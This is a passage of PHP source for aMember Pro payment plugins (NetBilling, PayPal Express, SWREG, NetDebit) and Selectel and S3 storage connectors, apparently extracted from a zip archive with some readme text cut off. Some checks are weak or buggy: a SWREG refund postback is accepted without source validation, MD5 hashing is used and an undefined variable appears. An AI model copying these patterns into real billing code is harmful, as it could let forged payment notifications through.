$user->country, 'Ecom_ShipTo_Online_Email' => $user->email, 'Ecom_Ezic_AccountAndSitetag' => $this->getConfig('account_id') . ":" . $this->getConfig('site_tag'), 'Ecom_Cost_Total' => sprintf("%.2f",$invoice->first_total), 'Ecom_Receipt_Description' => $invoice->getLineDescription(), 'Ecom_Ezic_Security_HashFields' => self::Hash_Fields, 'Ecom_Ezic_Payment_AuthorizationType' => 'SALE', 'Ecom_ConsumerOrderID' => $invoice->public_id, ); $hash = $this->getConfig('crypto_hash'); foreach (explode(' ', self::Hash_Fields) as $field) $hash .= $post[$field]; $post['Ecom_Ezic_ProofOfPurchase_MD5'] = strtoupper(md5($hash)); if ($this->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('NetBilling Form [request-data]:' . json_encode($post)); foreach ($post as $key => $value) $a->$key = $value; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'thanks') { if ($this->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('NetBilling Form [response-thanks]:' . json_encode($request->getParams())); $this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->getFiltered('Ecom_ConsumerOrderID')); $url = ($request->get('Ecom_Ezic_Response_StatusCode') == 0 || $request->get('Ecom_Ezic_Response_StatusCode') == 'F') ? $this->getCancelUrl() : $this->getReturnUrl(); $response->setRedirect($url); }else parent::directAction($request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_NetbillingForm($this, $request, $response, $invokeArgs); } public function getReadme() { $thanks = $this->getPluginUrl('thanks'); $ipn = $this->getPluginUrl('ipn'); return << Configuration -> Setup/Configuration -> Plugins -> Payment Plugins' and enable "netbilling-form" plugin. 2. Configure plugin: go to 'aMember CP -> Configuration -> Setup/Configuration -> Netbilling Form' and configure it. 3. Configure your NetBilling Account: - go to your NetBilling Account -> Setup -> Site Tools -> Site tags - find your just created tag and click 'conf' link - enter at 'Return URL': $thanks - enter at 'Postback CGI URL': $ipn CUT; } } class Am_Paysystem_Transaction_NetbillingForm extends Am_Paysystem_Transaction_Incoming { public function process() { if ($this->plugin->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('NetBilling Form [response-ipn]:' . json_encode($this->request->getParams())); parent::process(); } public function validateSource() { $hashFields = explode(' ', Am_Paysystem_NetbillingForm::Hash_Fields); $hash = $this->plugin->getConfig('crypto_hash') . $this->request->getFiltered('Ecom_Ezic_Response_TransactionID') . $this->request->getFiltered('Ecom_Ezic_Response_StatusCode'); foreach ($hashFields as $v) $hash .= $this->request->get($v); return (strtoupper(md5($hash)) == $this->request->getFiltered('Ecom_Ezic_ProofOfPurchase_MD5')); } public function findInvoiceId() { return $this->request->getFiltered('Ecom_ConsumerOrderID'); } public function validateStatus() { switch ($this->request->getFiltered('Ecom_Ezic_TransactionStatus')) { case 0: case 'F': return false; } return true; } public function getUniqId() { return $this->request->getFiltered('Ecom_Ezic_Response_TransactionID'); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('Ecom_Cost_Total')); return true; } }PK\@ E6E6payment/paypal-express.phpnu[domain = $this->getConfig('testing') ? 'www.sandbox.paypal.com' : 'www.paypal.com'; } public function _initSetupForm(Am_Form_Setup $form) { Am_Paysystem_PaypalApiRequest::initSetupForm($form); $form->addAdvCheckbox("dont_verify") ->setLabel( "Disable IPN verification\n" . "Usually you DO NOT NEED to enable this option. However, on some webhostings PHP scripts are not allowed to contact external web sites. It breaks functionality of the PayPal payment integration plugin, and aMember Pro then is unable to contact PayPal to verify that incoming IPN post is genuine. In this case, AS TEMPORARY SOLUTION, you can enable this option to don't contact PayPal server for verification. However, in this case \"hackers\" can signup on your site without actual payment. So if you have enabled this option, contact your webhost and ask them to open outgoing connections to www.paypal.com port 80 ASAP, then disable this option to make your site secure again."); $form->addText('localecode')->setLabel("Locale Code\n" . 'By default: US'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $log = $this->getDi()->invoiceLogRecord; $log->title = "SetExpressCheckout"; $log->paysys_id = $this->getId(); $log->setInvoice($invoice); $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->setExpressCheckout($invoice); //@see misc/paypal-identity Implements Seamless Checkout if ($token = $this->getDi()->store->get('paypal-access-token-' . $invoice->user_id)) { $apireq->addPostParameter('IDENTITYACCESSTOKEN', $token); } $apireq->addPostParameter('LOCALECODE', $this->getConfig('localecode', 'US')); if ($this->getConfig('brandname')) $apireq->addPostParameter('BRANDNAME', $this->getConfig('brandname')); if ($this->getConfig('landingpage_login')) $apireq->addPostParameter('LANDINGPAGE', 'Login'); $log->add($apireq); $response = $apireq->send(); $log->add($response); if ($response->getStatus() != 200) throw new Am_Exception_Paysystem("Error while communicating to PayPal server, please try another payment processor"); parse_str($response->getBody(), $vars); if (get_magic_quotes_gpc()) $vars = Am_Mvc_Request::ss($vars); if (empty($vars['TOKEN'])) throw new Am_Exception_Paysystem("Error while communicating to PayPal server, no token received, please try another payment processor"); $invoice->data()->set(self::PAYPAL_EXPRESS_TOKEN, $vars['TOKEN']); $action = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $action->cmd = '_express-checkout'; $action->token = $vars['TOKEN']; $action->useraction = 'commit'; $log->add($action); $result->setAction($action); $this->getDi()->session->paypal_invoice_id = $invoice->getSecureId('paypal'); // if express-checkout chosen, hide and don't require // fields for login, password, email, name and address // if that is new user, // save user info and invoice into temporary storage not to user table // call setExpressCheckout // redirect to paypal // then get back from paypal to am/payment/paypal-express/review // on confirm key pressed, make payment, finish checkout, fill-in fields } public function expressCheckoutAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); $token = $request->getFiltered('token'); if (!$token) throw new Am_Exception_InputError("No required [token] provided, internal error"); $log = $this->getDi()->invoiceLogRecord; $log->title = ""; $log->paysys_id = $this->getId(); $log->title .= " getExpressCheckoutDetails"; $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->getExpressCheckoutDetails($token); $vars = $apireq->sendRequest($log); $invoiceId = filterId(get_first( @$vars['INVNUM'], @$vars['L_PAYMENTREQUEST_0_INVNUM'], // too smart! paypal developers decided to do not pass INVNUM/CUSTOM for transactions with free trial $this->getDi()->session->paypal_invoice_id) ); if (!$invoiceId || !($invoice = $this->getDi()->invoiceTable->findBySecureId($invoiceId, 'paypal'))) throw new Am_Exception_InputError("Could not find invoice related to given payment. Internal error. Your account was not billed, please try again"); $invoiceLog->setInvoice($invoice); $log->setInvoice($invoice); $log->update(); $this->_setInvoice($invoice); /* @var $invoice Invoice */ if ($invoice->isPaid()) { return $response->redirectLocation($this->getReturnUrl()); } $invoice->data()->set(self::PAYPAL_EXPRESS_TOKEN, $token)->update(); if ($invoice->first_total > 0) { // bill initial amount @todo free trial $log->title .= " doExpressCheckout"; $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->doExpressCheckout($invoice, $token, $request->getFiltered('PayerID')); $vars = $apireq->sendRequest($log); //https://developer.paypal.com/docs/classic/express-checkout/ht_ec_fundingfailure10486/ if ($vars['ACK'] == 'Failure' && $vars['L_ERRORCODE0'] == '10486') { $url = $this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL; $url .= '?' . http_build_query(array( 'cmd' => '_express-checkout', 'token' => $invoice->data()->get(self::PAYPAL_EXPRESS_TOKEN), 'useraction' => 'commit' )); return $response->redirectLocation($url); } $transaction = new Am_Paysystem_Transaction_PayPalExpress_DoExpressCheckout($this, $vars); $transaction->setInvoice($invoice); $transaction->process(); } if ($invoice->rebill_times) { $log->title .= " createRecurringPaymentProfile"; $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->createRecurringPaymentProfile($invoice, null, $token, $request->getFiltered('PayerID')); $vars = $apireq->sendRequest($log); if (!in_array($vars['ACK'], array('Success', 'SuccessWithWarning'))) { $this->logError("Not Success response to CreateRecurringPaymentProfile request", $vars); } else { $invoice->data()->set(self::PAYPAL_PROFILE_ID, $vars['PROFILEID'])->update(); if ($invoice->first_total <= 0) { $transaction = new Am_Paysystem_Transaction_PayPalExpress_CreateRecurringPaymentProfile($this, $vars); $transaction->setInvoice($invoice); $transaction->process(); } } } return $response->redirectLocation($this->getReturnUrl()); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == self::PAYPAL_EXPRESS_CHECKOUT) return $this->expressCheckoutAction($request, $response, $invokeArgs); else return parent::directAction($request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paypal($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } // public function hideBricks() // { // return array('email', 'name', 'address'); // } function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $log = Am_Di::getInstance()->invoiceLogRecord; $log->title = "cancelRecurringPaymentProfile"; $log->paysys_id = $this->getId(); $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->cancelRecurringPaymentProfile($invoice, $invoice->data()->get(self::PAYPAL_PROFILE_ID)); $vars = $apireq->sendRequest($log); $log->setInvoice($invoice); $log->update(); //11556 - Invalid profile status for cancel action; profile should be active or suspended if($vars['ACK'] != 'Success' && $vars['L_ERRORCODE0'] != '11556') throw new Am_Exception_InputError('Transaction was not cancelled. Got error from paypal: '.$vars['L_SHORTMESSAGE0']); $invoice->setCancelled(true); $result->setSuccess(); } function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { $log = Am_Di::getInstance()->invoiceLogRecord; $log->title = "refundTransaction"; $log->paysys_id = $this->getId(); $apireq = new Am_Paysystem_PaypalApiRequest($this); $apireq->refundTransaction($payment, $amount); $res = $apireq->sendRequest($log); $log->setInvoice($payment->getInvoice()); $log->update(); if($res['ACK'] != 'Success') { $result->setFailed('Transaction was not refunded. Got error from paypal: '.$res['L_SHORTMESSAGE0']); return; } $result->setSuccess(); // We will not add refund record here because it will be handeld by IPN script. } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<$url CUT; } } class Am_Paysystem_Transaction_PayPalExpress_DoExpressCheckout extends Am_Paysystem_Transaction_Abstract { protected $vars; public function __construct(Am_Paysystem_Abstract $plugin, array $vars) { $this->vars = $vars; parent::__construct($plugin); } public function getUniqId() { return $this->vars['PAYMENTINFO_0_TRANSACTIONID']; } public function validate() { if (!in_array($this->vars['ACK'], array('Success', 'SuccessWithWarning'))) { throw new Am_Exception_Paysystem_TransactionInvalid("Error: " . $this->vars['L_SHORTMESSAGE0']); } if (!empty($this->vars['PAYMENTREQUEST_0_SHORTMESSAGE'])) throw new Am_Exception_Paysystem_TransactionInvalid("Payment failed: " . $this->vars['PAYMENTREQUEST_0_SHORTMESSAGE']); if (!in_array($this->vars['PAYMENTINFO_0_PAYMENTSTATUS'], array('Completed', 'Processed'))) { throw new Am_Exception_Paysystem_TransactionInvalid("Transaction status is not ok: [" . $this->vars['PAYMENTINFO_0_PAYMENTSTATUS'] . "]"); } return true; } public function getAmount() { return $this->vars['PAYMENTINFO_0_AMT']; } public function findTime() { $d = new DateTime($this->vars['PAYMENTINFO_0_ORDERTIME']); $d->setTimezone(new DateTimeZone(date_default_timezone_get())); return $d; } } class Am_Paysystem_Transaction_PayPalExpress_CreateRecurringPaymentProfile extends Am_Paysystem_Transaction_Abstract { protected $vars; public function __construct(Am_Paysystem_Abstract $plugin, array $vars) { $this->vars = $vars; parent::__construct($plugin); } public function getUniqId() { return $this->vars['PROFILEID'] . '-' . $this->vars['CORRELATIONID']; } public function validate() { if ($this->vars['ACK'] != 'Success') { throw new Am_Exception_Paysystem_TransactionInvalid("Error: " . $this->vars['L_SHORTMESSAGE0']); } } public function getAmount() { return 0; } public function findTime() { $d = new DateTime($this->vars['TIMESTAMP']); $d->setTimezone(new DateTimeZone(date_default_timezone_get())); return $d; } public function processValidated() { $this->invoice->addAccessPeriod($this); } }PK\ addInteger('merchant_id', array('size'=>20)) ->setLabel('SWREG Account#'); $form->addText('product_id', array('size'=>20)) ->setLabel('SWREG Product#'); $form->addText('ip', array('size'=>10)) ->setLabel('SWREG Postback IP, default value is 64.37.103.135'); $form->addPassword('pass', array('size'=>10)) ->setLabel('SWREG API Password'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $id = $this->invoice->getSecureId("THANKS"); $a->t = $invoice->getLineDescription() . " ($id)"; $a->vp = $invoice->first_total; $a->s = $this->getConfig('merchant_id'); $a->p = $this->getConfig('product_id'); $a->v = 0; // variation id $a->d = 0; // delivery id $a->clr = 1; // clear anything customer has in basket $a->q = 1; // qty //$a->bb = 1; // bypass basket $a->fn = $invoice->getFirstName(); $a->sn = $invoice->getLastName(); $a->em = $invoice->getEmail(); //$a->lnk = $this->getCancelUrl(); $result->setAction($a); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $refund = $this->getPluginUrl('refund'); return << Setup -> SWREG CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Swreg_Order($this, $request, $response, $invokeArgs); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'refund') { echo "OK"; ob_flush(); return $this->refundAction($request, $response, $invokeArgs); } else { echo ""; ob_flush(); parent::directAction($request, $response, $invokeArgs); } } public function refundAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $log = $this->logRequest($request); $transaction = new Am_Paysystem_Transaction_Swreg_Refund($this, $request, $response, $invokeArgs); $transaction->setInvoiceLog($log); try { $transaction->process(); } catch (Exception $e) { throw $e; $this->getDi()->errorLogTable->logException($e); throw Am_Exception_InputError(___("Error happened during transaction handling. Please contact website administrator")); } $log->setInvoice($transaction->getInvoice())->update(); } } abstract class Am_Paysystem_Transaction_Swreg extends Am_Paysystem_Transaction_Incoming { public function validateSource() { $this->_checkIp($this->plugin->getConfig('ip')); if ($this->plugin->getConfig('product_id') != $this->request->get('pc')) throw new Am_Exception_Paysystem_TransactionInvalid("Wrong [pc] passed, this transaction is not related to aMember?"); return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Swreg_Order extends Am_Paysystem_Transaction_Swreg { public function findInvoiceId() { if (preg_match('/\(([0-9A-Za-z]+)(-[0-9A-Za-z]+)*\)/', $this->request->get('user_text'), $regs)) return $regs[1]; } public function getUniqId() { return $this->request->get('o_no'); } public function processValidated() { $this->invoice->addPayment($this); } public function validateTerms() { return $this->request->get('pp') == $this->invoice->first_total; } } class Am_Paysystem_Transaction_Swreg_Refund extends Am_Paysystem_Transaction_Swreg { public function findInvoiceId() { $invoice = Am_Di::getInstance()->invoiceTable->findByReceiptIdAndPlugin($this->getReceiptId(), $this->plugin->getId()); if ($invoice) return $invoice->public_id; } public function getUniqId() { return $this->request->get('order_no'); } public function processValidated() { $this->invoice->addRefund($this, $this->getReceiptId()); echo ""; } public function validateSource() { return true; } } PK\2hqpayment/netdebits/netdebits.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Netdebits extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_DATE = '$Date$'; const PLUGIN_REVISION = '5.0.6'; const LIVE_URL = 'https://www.netdebit-payment.de/pay/'; const TEST_URL = 'https://web.netdebit-test.de/pay/'; const RATES = 'rts'; const KNR = 'knr'; protected $defaultTitle = 'NetDebit'; protected $defaultDescription = 'accepts all major credit cards'; function init() { parent::init(); $this->getDi()->productTable->customFields() ->add(new Am_CustomFieldSelect(self::RATES, 'CON\'s rates', '', '', array('options' => array( '1' => 'First CON Rate', '2' => 'Second CON Rate', '3' => 'Third CON Rate', '4' => 'Fourth CON Rate', '5' => 'Fifth CON Rate', '6' => 'Sixth CON Rate')))); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('SID', array('size' => 20, 'maxlength' => 19)) ->setLabel('Webmaster-ID') ->addRule('required'); $form->addText('PID', array('size' => 20, 'maxlength' => 19)) ->setLabel("PID\n" . 'Everyone who operates own websites gets a PID') ->addRule('required'); $form->addText('CON', array('size' => 20, 'maxlength' => 19)) ->setLabel("CON\n" . 'Each content a.k.a. website is identified by a content id, named CON') ->addRule('required'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function getRecurringType() { return self::REPORTS_NOTHING; } public function getSupportedCurrencies() { return array('EUR', 'USD', 'GBP'); } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_HtmlTemplate_NetDebits($this->getDir(), 'payment-netdebit-redirect.phtml'); $a->SID = $this->getConfig('SID'); $a->PID = $this->getConfig('PID'); $a->CON = $this->getConfig('CON'); $a->VAR1 = $invoice->public_id; $a->ZAH = 2; $item = $invoice->getItem(0); $product_id = $item->item_id; $product = array_shift($this->getDi()->productTable->findByProductId($product_id)); $a->POS = $product->data()->get(self::RATES); $a->KUN = $invoice->getUser()->data()->get(self::KNR) ? 1 : 0; $a->KNR = $invoice->getUser()->data()->get(self::KNR) ? $invoice->getUser()->data()->get(self::KNR) : ''; if($this->getConfig('testing')) $a->F = 9090; else $a->F = 1000; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Netdebits($this, $request, $response, $invokeArgs); } function getReadme() { return <<NetDebit Payment Plugin Configuration You must fill next fields, while Payment setup on your's accout web page: * Pagetitle (Domain e.g. example.com): * URL Mainpage/Startpage (e.g. http://www.example.com): * URL Member-Area (e.g. http://www.example.com/members): * URL Release/Gateway Script (e.g. http://www.example.com/my_custom_gateway_script.php): Example: Pagetile - example.com: URL Mainpage/Startpag - http://www.example.com: URL Member-Area - http://www.example.com/members: URL Release/Gateway Script - http://www.example.com/amember/payment/netdebits/ipn: On step 2 of Payment Setup, please choose next parameters (BookingNumber, Status, CustomerID, VAR1, TermType, TermValue, Amount). CUT; } } class Am_Paysystem_Transaction_Netdebits extends Am_Paysystem_Transaction_Incoming { const NEW_PAYMENT = '0'; const END_OF_MEMBERSHIP = '7'; const DISABLING_THE_ACCOUNT = '9'; const RE_ENABLING_THE_ACCOUNT = '1'; public function findInvoiceId() { return $this->request->getParam('VAR1'); } public function getUniqId() { return $this->request->getParam('BookingNumber'); } public function validateSource() { $GATES = array("213.69.111.70", "213.69.111.71", "213.69.234.76", "213.69.234.74", "195.126.100.14", "213.69.111.78"); $ip = $this->request->getClientIp(false); if(!in_array($ip, $GATES)) return false; $debug = $this->request->getParam('Debug'); if($this->getPlugin()->getConfig('PID') != preg_replace('/^PID/', '', $debug)) return false; return true; } public function validateStatus() { $allowed_status = array('0', '1', '7', '9'); $status = $this->request->getParam('Status'); if(!in_array($status, $allowed_status)) return false; return true; } function processValidated() { echo "Ok = 100"; switch($this->request->getParam('Status')) { case self::NEW_PAYMENT : $this->invoice->addPayment($this); break; case self::END_OF_MEMBERSHIP : $this->invoice->stopAccess($this); $this->invoice->setCancelled($true); break; case self::RE_ENABLING_THE_ACCOUNT : $this->invoice->addPayment($this); break; case self::DISABLING_THE_ACCOUNT : $this->invoice->addRefund($this, $this->getReceiptId(), $this->request->getParam('Amount')); break; } } public function validateTerms() { $custom_id = $this->request->getParam('CustomerID'); if(!is_null($custom_id) && $this->request->getParam('Status') == '0') $this->invoice->getUser()->data()->set(Am_Paysystem_Netdebits::KNR, $this->request->getParam('CustomerID'))->update(); return true; } public function getAmount() { return $this->request->get('Amount'); } }PK\IBB9payment/netdebits/scripts/payment-netdebit-redirect.phtmlnu[setLayout('layout.phtml'); ?>

    Zahlung über NetDebit per Lastschrift oder Kreditkarte

    PK\@B&&storage/selectel.phpnu[getConfig('secret_key') && $this->getConfig('access_key'); } function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('Selectel'); $form->addText('access_key', array('class' => 'el-wide'))->setLabel('Your account login') ->addRule('required'); $form->addPassword('secret_key', array('class' => 'el-wide')) ->setLabel("Password for Cloud Storage\n" . '(separate password then for Control Panel)') ->addRule('required'); $form->addText('expire', array('size' => 5))->setLabel('Video link life-time, min'); $form->setDefault('expire', 15); if ($this->isConfigured()) { try { $containers = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getContainersList'), array(), array(), $this->cacheLifetime); $containers = array('' => '== Please select public Container ==') + $containers; } catch (Exception $e) { $containers = array('' => 'Please create public container'); } $form->addSelect('links_container', '', array('options' => array_combine($containers, $containers))) ->setLabel("Container for links\n" . 'aMember will create links in the following format: http://yourcloudstorageurl.com/CONTAINERNAME/uniquekey/filename.mp4') ->addRule('required'); } $msg = <<addProlog(<<$msg CUT ); } public function getDescription() { if ($this->isConfigured()) return ___("Files located on Selectel storage. "); else return ___("Selectel storage is not configured"); } /** @return S3 */ protected function getConnector() { if (!$this->_connector) { $this->_connector = new SelectelAPI($this->getConfig('access_key'), $this->getConfig('secret_key')); } return $this->_connector; } /** @access private testing */ public function _setConnector($connector) { $this->_connector = $connector; } public function getItems($path, array & $actions) { $items = array(); if ($path == '') { $buckets = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getContainersList'), array(), array(), $this->cacheLifetime); foreach ($buckets as $name) $items[] = new Am_Storage_Folder($this, $name, $name); $actions[] = new Am_Storage_Action_Refresh($this, ''); } else { $items[] = new Am_Storage_Folder($this, '..', ''); @list($bucket, $bpath) = explode('/', $path, 2); $ret = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getContainerFiles'), array($bucket), array(), $this->cacheLifetime); $this->_bucket = $bucket; foreach ($ret as $r) { $items[] = $item = new Am_Storage_File($this, $r['name'], $r['size'], $bucket . '/' . $r['name'], null, null); $item->_hash = $r['hash']; } $actions[] = new Am_Storage_Action_Refresh($this, $path); } return $items; } public function isLocal() { return false; } public function get($path) { list($bucket, $uri) = explode('/', $path, 2); $ret = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getContainerFiles'), array($bucket), array(), $this->cacheLifetime); $info = @$ret[$uri]; $p = preg_split('|[\\\/]|', $path); // get name $name = array_pop($p); return new Am_Storage_File($this, $name, $info['size'], $path, $info['type'], null); } public function getUrl(Am_Storage_File $file, $expTime) { list($bucket, $uri) = explode('/', $file->getPath(), 2); return $this->getConnector()->getAuthenticatedURL($bucket, $uri, $expTime, $this->getConfig('links_container')); } public function action(array $query, $path, $url, Am_Mvc_Request $request, Am_Mvc_Response $response) { switch ($query['action']) { case 'refresh': $this->getDi()->cacheFunction->clean(); $response->setRedirect($url); break; default: throw new Am_Exception_InputError('unknown action!'); } } } class SelectelAPI { protected $username; protected $password; const AUTH_URL = 'https://auth.selcdn.ru/'; const STORAGE_URL_KEY = 'selectel_storage_url'; const STORAGE_AUTH_TOKEN_KEY = 'selectel_auth_token_key'; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function auth() { $req = new Am_HttpRequest(self::AUTH_URL, Am_HttpRequest::METHOD_GET); $req->setHeader('X-Auth-User', $this->username); $req->setHeader('X-Auth-Key', $this->password); $response = $req->send(); if ($response->getStatus() != 204) throw new Am_Exception_InternalError(sprintf("Selectel: Can't authenticate. Got %s response code.", $response->getStatus())); if (!$response->getHeader('X-Storage-Url')) throw new Am_Exception_InternalError('Selectel: No storage url in response'); $this->setStoredValue( self::STORAGE_URL_KEY, $response->getHeader('X-Storage-Url'), $response->getHeader('X-Expire-Auth-Token') ); if (!$response->getHeader('X-Auth-Token')) throw new Am_Exception_InternalError('Selectel: No auth token in response'); $this->setStoredValue( self::STORAGE_AUTH_TOKEN_KEY, $response->getHeader('X-Auth-Token'), $response->getHeader('X-Expire-Auth-Token') ); } function getContainersList() { $e = $this->__getXML($this->getStorageUrl() . '?format=xml'); $return = array(); foreach ($e->container as $c) { $return[] = (string) $c->name; } return $return; } function getContainerFiles($container) { $e = $this->__getXML($this->getStorageUrl() . '/' . $container . '?format=xml'); $return = array(); foreach ($e->object as $c) { $return[(string) $c->name] = array( 'name' => (string) $c->name, 'size' => (string) $c->bytes, 'hash' => (string) $c->hash, 'type' => (string) $c->content_type ); } return $return; } function getStorageUrl() { if (!$this->getStoredValue(self::STORAGE_URL_KEY)) $this->auth(); return $this->getStoredValue(self::STORAGE_URL_KEY); } function getAuthToken() { if (!$this->getStoredValue(self::STORAGE_AUTH_TOKEN_KEY)) $this->auth(); return $this->getStoredValue(self::STORAGE_AUTH_TOKEN_KEY); } function getAuthenticatedURL($container, $name, $expTime, $linksContainer) { $expires = time() + $expTime; $link_name = $this->getStorageUrl() . $linksContainer. '/' . md5(rand(0, 100) . $container . $name . time()) . '/' . $name; $response = $this->__request($link_name, Am_HttpRequest::METHOD_PUT, array( 'Content-Type' => 'x-storage/onetime-symlink', "X-Object-Meta-Location" => "/" . $container . "/" . $name, "X-Object-Meta-Delete-At" => $expires, "Content-length" => 0 )); return $link_name; } /** * * @param type $uri * @param type $method * @param type $headers * @return HTTP_Request2_Response */ protected function __request($uri, $method = Am_HttpRequest::METHOD_GET, $headers = array()) { $req = new Am_HttpRequest($uri, $method); $req->setHeader('X-Auth-Token', $this->getAuthToken()); if (!empty($headers)) foreach ($headers as $k => $v) $req->setHeader($k, $v); $response = $req->send(); return $response; } protected function __getXML($uri, $method = Am_HttpRequest::METHOD_GET, $headers = array()) { $response = $this->__request($uri, $method, $headers); if (!in_array($response->getStatus(), array(200, 204, 201))) throw new Am_Exception_InternalError( 'Selectel: Incorrect response received. Request to: ' . $uri . ' Response code: ' . $response->getStatus() ); $e = new SimpleXMLElement($response->getBody()); return $e; } /** * * @return Am_Di $di */ protected function getDi() { return Am_Di::getInstance(); } protected function getStoredValue($key) { return $this->getDi()->store->get($key); } protected function setStoredValue($key, $value, $timeout = 86400) { $this->getDi()->store->set($key, $value, "+" . $timeout . " seconds"); } }PK\i"i"storage/s3.phpnu[ 's3.amazonaws.com', 'us-east-2' => 's3-us-east-2.amazonaws.com', 'us-west-2' => 's3-us-west-2.amazonaws.com', 'us-west-1' => 's3-us-west-1.amazonaws.com', 'eu-west-1' => 's3-eu-west-1.amazonaws.com', 'eu-central-1' => 's3.eu-central-1.amazonaws.com', 'ap-southeast-1' => 's3-ap-southeast-1.amazonaws.com', 'ap-southeast-2' => 's3-ap-southeast-2.amazonaws.com', 'ap-northeast-1' => 's3-ap-northeast-1.amazonaws.com', 'sa-east-1' => 's3-sa-east-1.amazonaws.com' ); protected $_regions = array( 'us-east-1' => 'US Standard', 'us-east-2' => 'US East (Ohio)', 'us-west-2' => 'US West (Oregon)', 'us-west-1' => 'US West (N. California)', 'eu-west-1' => 'EU (Ireland)', 'eu-central-1' => 'EU (Frankfurt)', 'ap-southeast-1' => 'Asia Pacific (Singapore)', 'ap-southeast-2' => 'Asia Pacific (Sydney)', 'ap-northeast-1' => 'Asia Pacific (Tokyo)', 'sa-east-1' => 'South America (Sao Paulo)' ); public function isConfigured() { return $this->getConfig('secret_key') && $this->getConfig('access_key'); } function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('Amazon S3'); $form->addText('access_key', array('size' => 40))->setLabel('AWS Access Key') ->addRule('required') ->addRule('regex', 'must be alphanumeric', '/^[A-Z0-9]+$/'); $form->addPassword('secret_key', array('size' => 40))->setLabel('AWS Secret Key') ->addRule('required'); $form->addSelect('region')->loadOptions($this->_regions)->setLabel('Amazon S3 Region'); $form->addText('expire', array('size' => 5))->setLabel('Video link lifetime, min'); $form->setDefault('expire', 15); $form->addAdvCheckbox('use_ssl') ->setLabel(___("Use SSL for Authenticated URLs\n" . "enable this option if you use https for your site")); $msg = ___('Your content on Amazon S3 should not be public. Please restrict public access to your files on Amazon S3 side and ensure you can not access it directly from Amazon S3. aMember use Access Key and Secret Key to generate links with authentication token for users to provide access them to your content on Amazon S3.'); $form->addProlog(<<$msg CUT ); } public function getRegion() { return $this->getConfig('region', 'us-east-1'); } public function getEndpoint() { return $this->_endpoints[$this->getRegion()]; } public function getDescription() { if ($this->isConfigured()) { return ___("Files located on Amazon S3 storage. (Warning: Your buckets should not contain letters in uppercase in its name)"); } else { return ___("Amazon S3 storage is not configured"); } } /** @return S3 */ protected function getConnector() { if (!$this->_connector) { $this->_connector = new S3($this->getConfig('access_key'), $this->getConfig('secret_key'), false, $this->getEndpoint(), $this->getRegion()); switch($this->getRegion()){ case 'eu-central-1' : case 'us-east-2' : $this->_connector->setRequestClass('S3Request_HttpRequest4'); break; default : $this->_connector->setRequestClass('S3Request_HttpRequest2'); } } return $this->_connector; } /** @access private testing */ public function _setConnector($connector) { $this->_connector = $connector; } public function getItems($path, array & $actions) { $items = array(); if ($path == '') { $buckets = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'listBuckets'), array(), array(), $this->cacheLifetime); foreach ($buckets as $name) $items[] = new Am_Storage_Folder($this, $name, $name); $actions[] = new Am_Storage_Action_Refresh($this, ''); } else { @list($bucket, $bpath) = explode('/', $path, 2); $ret = $this->getDi()->cacheFunction->call( array($this->getConnector(), 'getBucket'), array($bucket, null/*$bpath*/, null, 1000/*, $delimiter = '/'*/), array(), $this->cacheLifetime); $this->_bucket = $bucket; $tree = array(); foreach ($ret as $r) { $p = & $tree; $is_dir = 